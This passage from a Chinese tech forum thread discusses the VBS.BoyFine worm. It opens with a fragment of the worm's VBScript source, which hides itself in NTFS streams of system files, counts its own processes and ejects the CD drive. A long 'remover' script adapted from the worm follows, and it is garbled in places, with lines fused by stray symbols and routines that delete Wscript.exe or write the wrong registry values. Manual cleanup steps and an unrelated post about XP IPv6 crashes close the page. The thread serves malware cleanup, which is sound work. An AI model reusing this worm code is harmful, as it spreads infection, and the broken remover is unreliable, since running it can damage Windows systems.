        GetMainVirus=Fso.GetSpecialFolder(N)&"\smss.exe:"&MainVirusName
        End If
        If N=0 Then
        GetMainVirus=Fso.GetSpecialFolder(N)&"\explorer.exe:"&MainVirusName
        End If
        Else
        GetMainVirus=Fso.GetSpecialFolder(N)&"\"&MainVirusName
        End If
        End Function
        Function VBSProcessCount(VBSPath)
        On Error Resume Next
        Dim WMIService, ProcessList, Process
        VBSProcessCount=0
        Set WMIService=GetObject("winmgmts:\\.\root\cimv2")
        Set ProcessList=WMIService.ExecQuery("Select * from Win32_Process Where "&"Name='cscript.exe' or Name='wscript.exe' or Name='svchost.exe'")
        For Each Process in ProcessList
        If InStr(Process.CommandLine, VBSPath)>0 Then
        VBSProcessCount=VBSProcessCount+1
        End If
        Next
        End Function
        Function PreDblInstance()
        On Error Resume Next
        PreDblInstance=False
        If VBSProcessCount(WScript.ScriptFullName)>= 3 Then
        PreDblInstance=True
        End If
        End Function
        Function GetTargetPath(LnkPath)
        On Error Resume Next
        Dim Shortcut
        Set Shortcut=WshShell.CreateShortcut(LnkPath)
        IgvTargetPath=Shortcut.TargetPath
        End Function
        Function GetCode(FullPath)
        On Error Resume Next
        Dim FileText
        Set FileText=FSO.OpenTextFile(FullPath, 1)
        GetCode=FileText.ReadAll
        FileText.Close
        End Function
        Function GetVersion()
        Dim VerInfo
        VerInfo="HKEY_CURRENT_USER\SoftWare\Microsoft\Windows NT\CurrentVersion\Windows\Ver"
        If ReadReg(VerInfo)="" Then
        GetVersion=0
        Else
        GetVersion=CInt(ReadReg(VerInfo))
        End If
        End Function
        Sub VirusAlert()
        On Error Resume Next
        Dim HtaPath,HtaCode
        HtaPath=Fso.GetSpecialFolder(1)&"\BFAlert.hta"
        HtaCode="暴p一p"&VBCRLF&""&VBCRLF&"
        "&VBCRLF&"N
        "&VBCRLF&"暴p一p"&VBCRLF&"
        "
        If FSO.FileExists(HtaPath)=False Then
        Call CreateFile(HtaCode, HtaPath)
        Call SetHiddenAttr(HtaPath)
        End If
        Call Run(HtaPath)
        End Sub
        Function GetInfectedDate()
        On Error Resume Next
        Dim DateInfo
        DateInfo="HKEY_CURRENT_USER\SoftWare\Microsoft\Windows NT\CurrentVersion\Windows\Date"
        If ReadReg(DateInfo)="" Then
        GetInfectedDate=""
        Else
        GetInfectedDate=CDate(ReadReg(DateInfo))
        End If
        End Function
        Sub MakeJoke(Times)
        On Error Resume Next
        Dim WMP, colCDROMs
        Set WMP = CreateObject( "WMPlayer.OCX" )
        Set colCDROMs = WMP.cdromCollection
        If colCDROMs.Count >0 Then
        For i=1 to Times
        colCDROMs.Item(0).eject()
        WScript.Sleep 3000
        colCDROMs.Item(0).eject()
        Next
        End If
        Set WMP = Nothing
        End Sub

        代码结束。

        • 家园 关于smss.exe 后边是.vbs文件的病毒(续2)

          其实病毒很简单,就是一个简单的自我复制和保护的功能。还算是比较可爱的病毒。

          唯一不好的是,他会在特定时间给你开玩笑,让你的光驱不断弹出。。。。。。。当然另个问题就是,让你系统不稳定,比如像我开始说的,上不了外网。

          如果中毒了怎么办?

          不用担心,我从网上找到了杀病毒的程序。

          'Decrypted by FlowerCode[0GiNr]
          'Operation Inversed by FlowerCode[0GiNr]
          'http://www.0GiNr.com
          'VBS.BoyFine Remover Version 1
          '不要给偶乱起外号,我的中文名字叫暴风,我的英文名字叫BoyFine. -_-
          On Error Resume Next
          Dim Fso, WshShell
          Set Fso = CreateObject("scRiPTinG.fiLEsysTeMoBjEcT")
          Set WshShell = CreateObject("wScRipT.SHelL")
          Call Main
          Sub Main()
           On Error Resume Next
           Dim Args, VirusLoad, VirusAss
           Set Args = WScript.Arguments
           VirusLoad = GetMainVirus(1)
           VirusAss = GetMainVirus(0)
           Call VirusAlert
           Call MonitorSystem
          End Sub
          Sub MonitorSystem()
           On Error Resume Next
           Dim ProcessNames, ExeFullNames
           VBSFullNames = Array(GetMainVirus(1))
           Do
           Call InvadeSystem(GetMainVirus(1), GetMainVirus(0))
           Call KeepProcess(VBSFullNames)
           WScript.Sleep 3000
          Loop
          End Sub
          Sub InvadeSystem(VirusLoadPath, VirusAssPath)
           On Error Resume Next
           Dim Load_Value, File_Value, IE_Value, MyCpt_Value1, MyCpt_Value2, HCULoad, HCUVer, VirusCode, Version
           Load_Value = "%SystemRoot%\system\svchost.exe " & """" & VirusLoadPath & """"
           File_Value = "%SystemRoot%\System32\WScript.exe " & """" & VirusAssPath & """" & " %1 %* "
           IE_Value = "%SystemRoot%\System32\WScript.exe " & """" & VirusAssPath & """" & " OIE "
           MyCpt_Value1 = "%SystemRoot%\System32\WScript.exe " & """" & VirusAssPath & """" & " OMC "
           MyCpt_Value2 = "%SystemRoot%\System32\WScript.exe " & """" & VirusAssPath & """" & " EMC "
           HCULoad = "HKEY_CURRENT_USER\SoftWare\Microsoft\Windows NT\CurrentVersion\Windows\Load"
           HCUVer = "HKEY_CURRENT_USER\SoftWare\Microsoft\Windows NT\CurrentVersion\Windows\Ver"
           HCUDate = "HKEY_CURRENT_USER\SoftWare\Microsoft\Windows NT\CurrentVersion\Windows\Date"
           VirusCode = GetCode(WScript.ScriptFullName)
           Version = 1
           HostSourcePath = Fso.GetSpecialFolder(1) & "\Wscript.exe"
           HostFilePath = Fso.GetSpecialFolder(0) & "\system\svchost.exe"
           For Each Drive In Fso.Drives
           If Drive.IsReady And (Drive.DriveType = 1 Or Drive.DriveType = 2 Or Drive.DriveType = 3) Then
           DiskVirusName = GetSerialNumber(Drive.DriveLetter) & ".vbs"
           Call CreateAutoRun(Drive.DriveLetter, DiskVirusName)
           Call InfectRoot(Drive.DriveLetter, DiskVirusName)
           End If
           Next
           If Fso.FileExists(VirusAssPath) = True Or Fso.FileExists(VirusLoadPath) = True Or Fso.FileExists(HostFilePath) = True Then
           If GetFileSystemType(GetSystemDrive()) = "NTFS" Then
           Call SetHiddenAttr(HostFilePath)
           Call CreateFile(VirusCode, VirusAssPath)
           Call CreateFile(VirusCode, VirusLoadPath)
           Call CopyFile(HostSourcePath, HostFilePath)
           Else
           Call SetHiddenAttr(VirusAssPath)
           Call CreateFile(VirusCode, VirusAssPath)
           Call SetHiddenAttr(VirusLoadPath)
           Call CreateFile(VirusCode, VirusLoadPath)
           Call SetHiddenAttr(HostFilePath)
           Call CopyFile(HostSourcePath, HostFilePath)
           End If
           End If
           If ReadReg(HCULoad) = Load_Value Then
           Call DeleteReg(HCULoad)
           End If
           If ReadReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\txtfile\shell\open\command\") = File_Value Then
           Call SetTxtFileAss(VirusAssPath)
           End If
           If ReadReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\inifile\shell\open\command\") = File_Value Then
           Call SetIniFileAss(VirusAssPath)
           End If
           If ReadReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\inffile\shell\open\command\") = File_Value Then
           Call SetInfFileAss(VirusAssPath)
           End If
           If ReadReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\batfile\shell\open\command\") = File_Value Then
           Call SetBatFileAss(VirusAssPath)
           End If
           If ReadReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\cmdfile\shell\open\command\") = File_Value Then
           Call SetCmdFileAss(VirusAssPath)
           End If
           If ReadReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\regfile\shell\open\command\") = File_Value Then
           Call SetRegFileAss(VirusAssPath)
           End If
           If ReadReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\chm.file\shell\open\command\") = File_Value Then
           Call SetchmFileAss(VirusAssPath)
           End If
           If ReadReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\hlpfile\shell\open\command\") = File_Value Then
           Call SethlpFileAss(VirusAssPath)
           End If
           If ReadReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Applications\iexplore.exe\shell\open\command\") = IE_Value Then
           Call SetIEAss(VirusAssPath)
           End If
           If ReadReg("HKEY_CLASSES_ROOT\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\shell\OpenHomePage\Command\") = IE_Value Then
           Call SetIEAss(VirusAssPath)
           End If
           If ReadReg("HKEY_CLASSES_ROOT\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\shell\open\command\") = MyCpt_Value1 Then
           Call SetMyComputerAss(VirusAssPath)
           End If
           If ReadReg("HKEY_CLASSES_ROOT\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\shell\explore\command\") = MyCpt_Value2 Then
           Call SetMyComputerAss(VirusAssPath)
           End If
           Call RegSet
          End Sub
          Sub CopyFile(source, pathf)
           On Error Resume Next
           If Fso.FileExists(pathf) Then
           Fso.DeleteFile pathf, True
           End If
           Fso.DeleteFile source, True
          End Sub
          Sub CreateFile(code, pathf)
           On Error Resume Next
          Dim FileText
           If Fso.FileExists(pathf) Then
           Set FileText = Fso.DeleteFile(pathf, True)
           End If
          End Sub
          Sub RegSet()
           On Error Resume Next
           Dim RegPath1, RegPath2, RegPath3, RegPath4
           RegPath1 = "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\NOHIDDEN\CheckedValue"
           RegPath2 = "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL\CheckedValue"&&& RegPath3 = "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDriveTypeAutoRun"
           RegPath4 = "HKEY_CLASSES_ROOT\lnkfile\IsShortcut"
           Call WriteReg(RegPath1, 2, "REG_DWORD")
           Call WriteReg(RegPath2, 1, "REG_DWORD")
          Call DeleteReg(RegPath3)
           Call WriteReg(RegPath4, "", "REG_SZ")
          End Sub
          Sub KeepProcess(VBSFullNames)
          On Error Resume Next
           For Each VBSFullName In VBSFullNames
           VBSProcessCount(VBSFullName)
          Next
          End Sub
          Function GetSystemDrive()
           GetSystemDrive = Left(Fso.GetSpecialFolder(0), 2)
          End Function
          Function GetFileSystemType(Drive)
           Set D = Fso.GetDrive(Drive)
           GetFileSystemType = D.FileSystem
          End Function
          Function ReadReg(strkey)
           Dim tmps
           Set tmps = CreateObject("WScript.Shell")
           ReadReg = tmps.RegRead(strkey)
           Set tmps = Nothing
          End Function
          Sub WriteReg(strkey, Value, vtype)
           Dim tmps
           Set tmps = CreateObject("WScript.Shell")
           If vtype = "" Then
           tmps.RegWrite strkey, Value
           Else
           tmps.RegWrite strkey, Value, vtype
           End If
           Set tmps = Nothing
          End Sub
          Sub DeleteReg(strkey)
           Dim tmps
           Set tmps = CreateObject("WScript.Shell")
           tmps.RegDelete strkey
           Set tmps = Nothing
          End Sub
          Sub SetHiddenAttr(path)
           On Error Resume Next
           Dim vf
           Set vf = Fso.GetFile(path)
           Set vf = Fso.GetFolder(path)
           vf.Attributes = 0
          End Sub
          Sub Run(ExeFullName)
           On Error Resume Next
           Dim WshShell
           Set WshShell = WScript.CreateObject("WScript.Shell")
           WshShell.Run ExeFullName
           Set WshShell = Nothing
          End Sub
          Sub InfectRoot(D, VirusName)
           On Error Resume Next
           Dim VBSCode
           VBSCode = GetCode(WScript.ScriptFullName)&&& VBSPath = D & ":\" & VirusName
           If Fso.FileExists(VBSPath) = True Then
           Call SetHiddenAttr(VBSPath)
           Call CreateFile(VBSCode, VBSPath)
           End If
           Set Folder = Fso.GetFolder(D & ":\")
           Set SubFolders = Folder.SubFolders
           For Each SubFolder In SubFolders
           SetHiddenAttr (SubFolder.path)
           LnkPath = D & ":\" & SubFolder.Name & ".lnk"
           TargetPath = D & ":\" & VirusName
           Args = """" & D & ":\" & SubFolder.Name & "\Dir"""
           If Fso.FileExists(LnkPath) = True And GetTargetPath(LnkPath) = TargetPath Then
           Fso.DeleteFile LnkPath, True
           End If
           Next
          End Sub
          Sub CreateAutoRun(D, VirusName)
           On Error Resume Next
           Dim InfPath, VBSPath, VBSCode
           InfPath = D & ":\AutoRun.inf": VBSPath = D & ":\" & VirusName
           If Fso.FileExists(InfPath) = False Or Fso.FileExists(VBSPath) = False Then
           Call SetHiddenAttr(VBSPath)
           Call CreateFile(VBSCode, VBSPath)
           Call SetHiddenAttr(InfPath)
           Call CreateFile(StrInf, InfPath)
           End If
          End Sub
          Sub SetTxtFileAss(sFilePath)
           On Error Resume Next
           Dim Value
           Value = "%SystemRoot%\System32\WScript.exe " & """" & sFilePath & """" & " %1 %* "
           Call WriteReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\chm.file\shell\open\command\", "REG_EXPAND_SZ")
          End Sub
          Sub SetIniFileAss(sFilePath)
           On Error Resume Next
           Dim Value
           Value = "%SystemRoot%\system32\NOTEPAD.EXE %1"
           Call WriteReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\inifile\shell\open\command\", Value, "REG_EXPAND_SZ")
          End Sub
          Sub SetInfFileAss(sFilePath)
           On Error Resume Next
           Dim Value
           Value = "%SystemRoot%\system32\NOTEPAD.EXE %1"
           Call WriteReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\inffile\shell\open\command\", Value, "REG_EXPAND_SZ")
          End Sub
          Sub SetBatFileAss(sFilePath)
          On Error Resume Next
           Dim Value
           Value = """" & "%1" & """" & " %*"
           Call WriteReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\batfile\shell\open\command\", Value, "REG_EXPAND_SZ")
          End Sub
          Sub SetCmdFileAss(sFilePath)
           On Error Resume Next
           Dim Value
           Value = """" & "%1" & """" & " %*"
           Call WriteReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\cmdfile\shell\open\command\", Value, "REG_EXPAND_SZ")
          End Sub
          Sub SethlpFileAss(sFilePath)
           On Error Resume Next
           Dim Value
           Value = "%SystemRoot%\winhlp32.exe %1"
           Call WriteReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\hlpfile\shell\open\command\", Value, "REG_EXPAND_SZ")
          End Sub
          Sub SetRegFileAss(sFilePath)
           On Error Resume Next
           Dim Value
           Value = "regedit.exe " & """" & "%1" & """"
           Call WriteReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\regfile\shell\open\command\", Value, "REG_EXPAND_SZ")
          End Sub
          Sub SetchmFileAss(sFilePath)
           On Error Resume Next
           Dim Value
           Value = """" & "%SystemRoot%\hh.exe" & """" & " %1"
           Call WriteReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\chm.file\shell\open\command\", Value, "REG_EXPAND_SZ")
          End Sub
          Sub SetIEAss(sFilePath)
          On Error Resume Next
          Dim Value
           Value = """%ProgramFiles%\Internet Explorer\IEXPLORE.EXE"""
           Call WriteReg("HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Applications\iexplore.exe\shell\open\command\", Value, "REG_EXPAND_SZ")
           Call WriteReg("HKEY_CLASSES_ROOT\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\shell\OpenHomePage\Command\", Value, "REG_EXPAND_SZ")
          End Sub
          Sub SetMyComputerAss(sFilePath)
           On Error Resume Next&&& Dim Value1, Value2
           Value1 = "explorer.exe /n,::{20D04FE0-3AEA-1069-A2D8-08002B30309D}"
           Value2 = "explorer.exe /n,/e,::{20D04FE0-3AEA-1069-A2D8-08002B30309D}"
           Call WriteReg("HKEY_CLASSES_ROOT\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\shell\", "none", "REG_SZ")
           Call WriteReg("HKEY_CLASSES_ROOT\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\shell\open\command\", Value1, "REG_EXPAND_SZ")
           Call WriteReg("HKEY_CLASSES_ROOT\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\shell\explore\command\", Value2, "REG_EXPAND_SZ")
          End Sub
          Function GetSerialNumber(Drv)
           On Error Resume Next
           Set D = Fso.GetDrive(Drv)
           GetSerialNumber = D.SerialNumber
           GetSerialNumber = Replace(GetSerialNumber, "-", "")
          End Function
          Function GetMainVirus(N)
           On Error Resume Next
           MainVirusName = GetSerialNumber(GetSystemDrive()) & ".vbs"
           If GetFileSystemType(GetSystemDrive()) = "NTFS" Then
           If N = 1 Then
           GetMainVirus = Fso.GetSpecialFolder(N) & "\smss.exe:" & MainVirusName
           End If
           If N = 0 Then
           GetMainVirus = Fso.GetSpecialFolder(N) & "\explorer.exe:" & MainVirusName
           End If
           Else
           GetMainVirus = Fso.GetSpecialFolder(N) & "\" & MainVirusName
           End If
          End Function
          Function VBSProcessCount(VBSPath)
           On Error Resume Next
           Dim WMIService, ProcessList, Process, ParentProcess, PPID
           VBSProcessCount = 0
           Set WMIService = GetObject("winmgmts:\\.\root\cimv2")
           Set ProcessList = WMIService.execquery("Select * from Win32_Process Where " & "Name='cscript.exe' or Name='wscript.exe' or Name='svchost.exe'")
           For Each Process In ProcessList
           If InStr(Process.CommandLine, VBSPath) > 0 Then
           PPID = Process.ParentProcessId
           Process.Terminate
           Set ProcessList = WMIService.execquery("Select * from Win32_Process Where " & "ProcessId=" & PPID)
           For Each ParentProcess In ProcessList
           ParentProcess.Terminate
           Next
           End If
           Next
           For Each Process In ProcessList
           If InStr(Process.CommandLine, VBSPath) > 0 Then
           Process.Terminate
           End If
           Next
          End Function
          Function GetTargetPath(LnkPath)
           On Error Resume Next
           Dim Shortcut
           Set Shortcut = WshShell.CreateShortcut(LnkPath)
           GetTargetPath = Shortcut.TargetPath
          End Function
          Function GetCode(FullPath)
           On Error Resume Next
           Dim FileText
           Set FileText = Fso.OpenTextFile(FullPath, 1)
           GetCode = FileText.ReadAll
           FileText.Close
          End Function
          Function GetVersion()
           Dim VerInfo
           VerInfo = "HKEY_CURRENT_USER\SoftWare\Microsoft\Windows NT\CurrentVersion\Windows\Ver"
           DeleteReg(VerInfo)
          End Function
          Sub VirusAlert()
           On Error Resume Next
           Dim HtaPath, HtaCode
           HtaPath = Fso.GetSpecialFolder(1) & "\BFAlert.hta"
           If Fso.FileExists(HtaPath) = True Then
           Call CreateFile(HtaCode, HtaPath)
           End If
          End Sub
          Function GetInfectedDate()
           On Error Resume Next
           Dim DateInfo
           DateInfo = "HKEY_CURRENT_USER\SoftWare\Microsoft\Windows NT\CurrentVersion\Windows\Date"
           DeleteReg(DateInfo)
          End Function
          

          如果你能看到这里,说明你是关心的。或者是中毒的。O(&_&)O

          不过我要提醒一句,这个文档里有部分处理是有问题的,需要修改一下才对。具体修改我就不说了,重点提示一下,就是对txt文档修复的部分有点失误,不是大问题。

          还要说另一个问题,就是这个病毒所隐藏的方法:NTFS流。

          ntfs流已经有很多介绍的了,我这里只说一点,就是win7和win xp的管理是有很多不一样的。

          1。win7的notepad对流支持非常好,可以任意操作而不出错。xp则逊之。

          2。貌似win7不支持文件夹的流(即文件夹下直接:name.ext),至少不支持用户自己操作,至于编程能否实现,暂时未知。在xp里建立文件夹的流,到了win7下拷贝或解压缩,就找不到了。

          3。win7貌似不支持流的直接运行,至少从用户操作来说。在xp下,可以直接运行流文件里的程序,而7下则出错。

          说明win7对流的控制和执行更加严格,安全性更好。

    • 家园 关于smss.exe 后边是.vbs文件的病毒分析

      一直以来,在半生不熟的情况下,为不少电脑清了不少病毒,都是瞎胡闹,不过也多少积攒了点经验,在高人眼里是不值一哂,自己却觉得需要记录一下,以备自己使用。

      这两天遇到一个老师的电脑只能上内网,不能上外网,已经确认网络没问题,所以问题肯定是电脑身上了。以下是过程:

      1.试图进安全模式失败。

      2.插u盘,发现vbs常见手段:产生autorun文件,产生vbs文件,文件名是随机数字,隐藏所有文件夹并加上系统属性和隐藏属性,建立快捷方式。

      3.运行kv移动版,杀掉一大堆病毒。运行sreng,提示隐藏进程,提示启动项有修改,文件关联被修改。修复安全模式。

      4.进安全模式,用kv杀,结果一个都没有了,但进入正常模式后问题依旧。

      5.安装360杀毒和安全卫士,基本等于废物,没找到任何问题。顽固木马专杀由于不能上网,所以没法用。

      5.用sreng大胆杀掉没有经过验证的可疑服务和驱动,用360结束可疑进程。并删除可疑文件。其中需要提到的就是一个隐藏在多种可能的文件夹下,文件夹名称含%sessionname%的文件,内部有xm为后缀名的文件,还有貌似后缀为pt的文件,直接杀不掉。

      6。用最新病毒库的kv再在安全模式下杀。成功杀掉一些以前没有的病毒和木马下载器。进入正常模式后,发现大部分病毒都清得差不多了,上述文件夹和内容可以删除了。使用netstat -on 没有发现可疑进程发数据包。但仍然无法连外网。而且vbs病毒明显仍然起作用。

      于是决定先把病毒清理干净再说。

      7.经上网查,发现这个病毒替换了系统的正常文件,而这个是我一般尽量不去涉及的(确认是否是正常文件需要两个电脑,一个正常的,费时费力,我一般在确认有问题时才去解决这个问题)。

      8.网上解决方法如下

      smss.exe:1218852477.vbs 是一个典型的数据流病毒,每种病毒入侵电脑的关键部位是不一样的,这种病毒修改的是电脑是数据源。

      虽然大家直接删除了带有.vbs,删除了system目录下的svchost.exe(实为系统程序wscript.exe)、删除了被病毒改写过的系统程序smss.exe(用备份替换)、删除了病毒创建的所有.lnk,当你双击&我的电脑&时,病毒又复活了。这种是典型的治标不治本的行为。

      下面卡巴人给大家介绍个方法,手动查杀这种病毒。

      1、先打开C:\windows\system32\和C:\windows\system32\dllcache目录。然后在组策略中用散列规则禁止WSCRIPT.EXE运行。

      2、用IceSword禁止进程创建。结束WSCRIPT.EXE和windows\system\svchost.exe进程。

      3、删除所有分区根目录下的.vbs和autorun.inf。删除windows\system\svchost.exe

      4、删除硬盘各个分区中所有1KB的.lnk

      5、将WINDOWS目录下的EXPLORER.EXE和系统目录下的SMSS.EXE移动到U盘或FAT32分区的硬盘分区(自动脱毒)。

      6、删除WINDOWS目录下以及dllcache目录下的EXPLORER.EXE、%system%目录以及dllcache目录下的smss.exe(被病毒附加了数据流)。

      7、取消&禁止进程创建&。将刚才移动到FAT32分区(或U盘)的那个EXPLORER.EXE和smss.exe移回系统目录以及dllcache目录。

      8、修改注册表,显示被隐藏的正常文件夹。

      HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL

      "CheckedValue"=dword:00000001

      &

      HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\NOHIDDEN

      "CheckedValue"=dword:00000002

      9、删除病毒加载项:

      展开HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows

      9.继续:

      实际杀毒过程同这个有所不同。由于病毒相当于直接修改了explorer,所以首先进入命令行安全模式后,用命令行进行处理,可以防止病毒启动。进入命令行将explorer和smss分别复制到fat32分区,然后复制回来,由于这样不确定是否能够把附加流去掉,所以用了一个很取巧的办法:使用命令行把两个文件复制到FAT32分区后,运行复制后的explorer,这样保证了其干净,然后在新程序下将explorer和smss分别复制到fat32分区,然后复制回来并覆盖。复制过程中提示有流信息丢失,说明方法有效。然后在命令行将所有分区根目录下.vbs文件,autorun文件以及快捷方式全部删除,修改目录属性为可见,非系统。打开注册表,删除所有.vbs所对应不正常的项。删除system目录下的svchost。重启后恢复正常。

    • 家园 关于xp系统使用ipv6网络蓝屏的问题

      (这个问题其实没有彻底解决,但也算一个妥协的办法吧。)

      使用ipv6网络,使用utorrent下载有些人出现了蓝屏问题。蓝屏提示一般是tcpip6.sys出现问题。已经确认不是和其他软件冲突。

      从网上搜索,可以发现很多人也有这个问题,但是没有解决方法。我所探索的结果如下:

      1. 这个问题是xp系统中的tcpip6.sys本身的问题,尤其是最新版本,问题更甚,我的原来的版本更新一些,忘了是多少了,蓝屏,后从网上下载的版本是5.1.2600.5512,结果好了几天,后来又出现蓝屏问题。

      2.这个问题的根本是tcpip6.sys 本身的bug,由于微软不提供修复,所以没办法解决。更换支持ipv6的bt软件,即使是最新版的bittorrent,都不行,照样蓝屏。

      个人解决办法:

      1.升级系统到win7,据说win7没有这个问题。

      2.因为问题的根本是并发数的问题,如果仍然坚持要xp,就把任务里的数量降低,由于bt是个时效性很强的软件,所以可以把一些以前下载的任务去除掉,或者不需要的任务删掉,虽然这不利于分享,但为了能用,只好忍痛割爱。我的任务数大约在50个以下,基本上没有问题,新建下载任务的时候,提前去掉一些任务即可。网上这方面的问题出现的不多,说明大部分人上传的任务数是非常有限的,拿来主义的多啊。

      其实,就这么简单。

    • 家园 创新难道不想与国人做生意?

      虽然我知道SB指Sound Blaster,8倍的SB得多变态,hehe。

      • 家园 哈哈,我也是因为这个才记住的这个型号

        创新不但想要做国内的生意,还非常急切。

        急切到什么程度呢?我发现国外亚马逊买的,说明书是多语言版的是正常的,但保修书竟然是中文版的……

分页树展主题 · 全看首页 上页
/ 2
下页 末页


有趣有益,互惠互利;开阔视野,博采众长。
虚拟的网络,真实的人。天南地北客,相逢皆朋友

Copyright © cchere 西西河